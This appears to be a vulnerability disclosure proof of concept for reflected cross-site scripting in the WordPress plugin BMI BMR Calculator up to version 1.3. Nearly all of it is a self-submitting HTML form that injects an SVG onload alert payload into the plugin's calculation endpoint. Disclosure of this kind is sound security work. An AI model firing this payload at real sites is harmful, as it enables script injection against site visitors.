BMI BMR Calculator <= 1.3 - Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/wp-content/plugins/bmi-bmr-calculator/bmibmr_calculations.php" method="post" name="form1">
   <input type="text" name="123" value="<svg onload=alert('xss')>">
  <button type="submit"></button>
</form>
<script>
   document.form1.submit();
</script>